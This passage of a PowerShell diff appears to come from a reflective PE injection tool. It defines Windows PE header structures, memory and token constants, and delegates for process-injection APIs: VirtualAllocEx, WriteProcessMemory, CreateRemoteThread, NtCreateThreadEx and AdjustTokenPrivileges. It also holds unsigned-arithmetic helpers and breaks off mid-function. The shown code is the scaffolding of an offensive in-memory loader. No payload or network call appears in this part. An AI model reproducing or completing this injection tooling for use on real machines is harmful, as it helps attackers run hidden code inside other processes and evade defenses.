$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory - - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory - - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread - - $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread - - $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - - # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx } - - $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process - - $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread - - return $Win32Functions - } - ##################################### - - - ##################################### - ########### HELPERS ############ - ##################################### - - #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function - #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses - Function Sub-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - $Val = $Value1Bytes[$i] - $CarryOver - #Sub bytes - if ($Val -lt $Value2Bytes[$i]) - { - $Val += 256 - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - - - [UInt16]$Sum = $Val - $Value2Bytes[$i] - - $FinalBytes[$i] = $Sum -band 0x00FF - } - } - else - { - Throw "Cannot subtract bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF - - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - Function Compare-Val1GreaterThanVal2AsUInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) - { - if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) - { - return $true - } - elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) - { - return $false - } - } - } - else - { - Throw "Cannot compare byte arrays of different size" - } - - return $false - } - - - Function Convert-UIntToInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt64] - $Value - ) - - [Byte[]]$ValueBytes = 